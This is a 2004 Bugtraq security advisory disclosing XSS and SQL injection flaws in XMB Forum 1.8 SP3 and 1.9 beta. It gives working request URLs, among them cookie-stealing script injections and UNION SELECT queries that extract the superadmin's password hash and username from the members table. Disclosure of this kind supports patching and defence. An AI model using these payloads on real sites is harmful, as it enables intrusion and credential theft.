[waraxe-2004-SA#012 - Multiple vulnerabilities in XMB Forum 1.8 SP3 and 1.9 beta]

From: Janek Vind (come2waraxe_at_yahoo.com)
Date: 03/26/04

  • Next message: Janek Vind: "[waraxe-2004-SA#013 - Critical sql injection bug in PhpBB 2.0.8 and in older versions]"
    Date: 26 Mar 2004 17:24:44 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    {================================================================================}
    { [waraxe-2004-SA#012] }
    {================================================================================}
    { }
    { [ Multiple vulnerabilities in XMB 1.8 Partagium SP3 and 1.9 Nexus Beta ] }
    { }
    {================================================================================}
                                                                                                                                    
    Author: Janek Vind "waraxe"
    Date: 26. March 2004
    Location: Estonia, Tartu

    Affected software description:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Extreme Messageboard aka XMB is very popular and feature rich forum,
    based on php and mysql. More information can be found on sites
    http://www.aventure-media.co.uk and http://www.xmbforum.com

    Vulnerabilities:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Ok, we have lot's of the security flaws to disclosure, so let's begin...

    1. php and webserver info disclosure and possible XSS

    Beginning with XMB 1.9 beta versions, file named phpinfo.php is shipped with forum
    software. Original code:

    <?php
    /* $Id: phpinfo.php, v1.00 2003/10/11 10:45:18 Tularis Exp $ */
    phpinfo();
    ?>

    In this way ANYONE can get lot's of insider information from webserver and php engine
    environment - good startup for attacker...
    And even "better" - phpinfo.php can be used for exploiting the XSS:

    http://localhost/xmb19beta/phpinfo.php?foobar=&lt;script&gt;alert(document.cookie);&lt;/script&gt;

    2. XSS in xmb.php --> works in 1.8 SP3 and 1.9 beta

    Example http request:

    http://localhost/xmb19beta/xmb.php?show=version&xmbuser=foobar><body onload=alert(document.cookie);>

    Remark: Log off before trying this or it will not work!

    3. XSS in editprofile.php --> only in 1.9 beta

    Example request:

    http://localhost/xmb19beta/editprofile.php?user=notexist_foobar&u2uheader=);>

    4. XSS in u2u.php --> works in 1.8 SP3 and 1.9 beta

    Example request:

    http://localhost/xmb19beta/u2u.php?folder=foobar"><body%20onload=alert(document.cookie);>

    5. XSS in stats.php --> works in 1.8 SP3 and 1.9 beta

    Reason --> uninitialized variables $viewmost,$replymost,$latest

    http://localhost/xmb19beta/stats.php?action=view&viewmost="></textarea><body%20onload=alert(document.cookie);>
    http://localhost/xmb19beta/stats.php?action=view&replymost="></textarea><body%20onload=alert(document.cookie);>
    http://localhost/xmb19beta/stats.php?action=view&latest="></textarea><body%20onload=alert(document.cookie);>

    6. XSS in post.php

    Reason --> uninitialized variables $message,$icons --> works in 1.8 SP3 and 1.9 beta

    http://localhost/xmb19beta/post.php?action=newthread&fid=1&message="></textarea><body%20onload=alert(document.cookie);>
    http://localhost/xmb19beta/post.php?action=newthread&fid=1&icons=);>

    7. XSS in forumdisplay.php --> works in 1.8 SP3 and 1.9 beta

    Reason --> uninitialized variables $threadlist,$pagelinks,$forumlist,$navigation,$forumdisplay

    http://localhost/xmb19beta/forumdisplay.php?fid=1&threadlist=);>
    http://localhost/xmb19beta/forumdisplay.php?fid=1&pagelinks=);>
    http://localhost/xmb19beta/forumdisplay.php?fid=1&forumlist=);>
    http://localhost/xmb19beta/forumdisplay.php?fid=1&navigation=);>
    http://localhost/xmb19beta/forumdisplay.php?fid=1&forumdisplay=);>

    8. Sql injection and XSS in forumdisplay.php

    http://localhost/xmb19beta/forumdisplay.php?fid=1&tpp=);>

    Remark: will work only, when no user logged in, because logging in will override the $tpp value.

    *************** [really scary sql injection bugs] ***************

    9. sql injection and XSS in member.php --> only in 1.9 beta version

    Let's look at original code, line 461:

    switch($self['status']){
                    case 'member';
                        $restrict .= " f.private !='3' AND";

                    case 'Moderator';

                    case 'Super Moderator';
                        $restrict .= " f.private != '2' AND";

                    case 'Administrator';
                        $restrict .= " f.userlist = '' AND f.password = '' AND";

                    case 'Super Administrator';
                        break;

                    default:
                        $restrict .= " f.private !='3' AND f.private != '2' AND f.userlist = '' AND f.password = '' AND";
                        break;
                }
    Hmm, $restrict is not initialized anywhere! So we can delivere here all what we want:
    http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=foobar
    You have an error in your SQL syntax.

    XSS:

    http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=);>

    And now the funniest part - how to get superadmin's password's md5 hash from database:

    http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20password,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

    Or u want superadmin's username? Here it is:

    http://localhost/xmb19beta/member.php?action=viewpro&member=waraxe&restrict=%20f.private=-99%20GROUP%20BY%20p.fid%20UNION%20SELECT%20username,null,99%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

    10. sql injection and XSS in misc.php --> only in 1.9 beta version

    http://localhost/xmb19beta/misc.php?action=search&restrict=);>

    http://localhost/xmb19beta/misc.php?action=search&restrict=%20private=-99%20UNION%20SELECT%20null,null,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20xmb_members%20WHERE%20uid=1%20LIMIT%201%20/*

    11. sql injection and XSS in today.php --> only in 1.9 beta version

    http://localhost/xmb19beta/today.php?restrict=);>

    *************** [/really scary sql injection bugs] ***************

    Greetings:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        Greets to torufoorum members and to all bugtraq readers in Estonia! Tervitused!
    Special greets to Stefano from UT Bee Clan!

    Contact:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        come2waraxe@yahoo.com
        Janek Vind "waraxe"

    ---------------------------------- [ EOF ] ------------------------------------


  • Next message: Janek Vind: "[waraxe-2004-SA#013 - Critical sql injection bug in PhpBB 2.0.8 and in older versions]"